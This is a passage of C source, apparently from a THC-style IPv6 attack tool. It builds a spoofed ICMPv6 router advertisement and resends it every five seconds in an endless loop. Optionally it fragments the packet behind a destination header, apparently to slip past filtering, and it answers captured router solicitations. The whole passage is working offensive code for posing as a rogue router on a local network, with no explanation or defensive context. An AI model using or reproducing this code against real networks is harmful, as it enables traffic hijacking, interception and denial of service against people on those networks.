if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0)
return -1;
if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0)
return -1;
frhdr = (thc_ipv6_hdr *) pkt;
// init pcap
printf("Starting to advertise router %s (Press Control-C to end) ...\n", argv[optind + 1]);
while (1) {
if (do_dst) {
thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1240);
} else {
thc_send_pkt(interface, pkt, &pkt_len);
}
while (thc_pcap_check(p, (char *) send_rs_reply, NULL) > 0);
sleep(5);
}
return 0;
}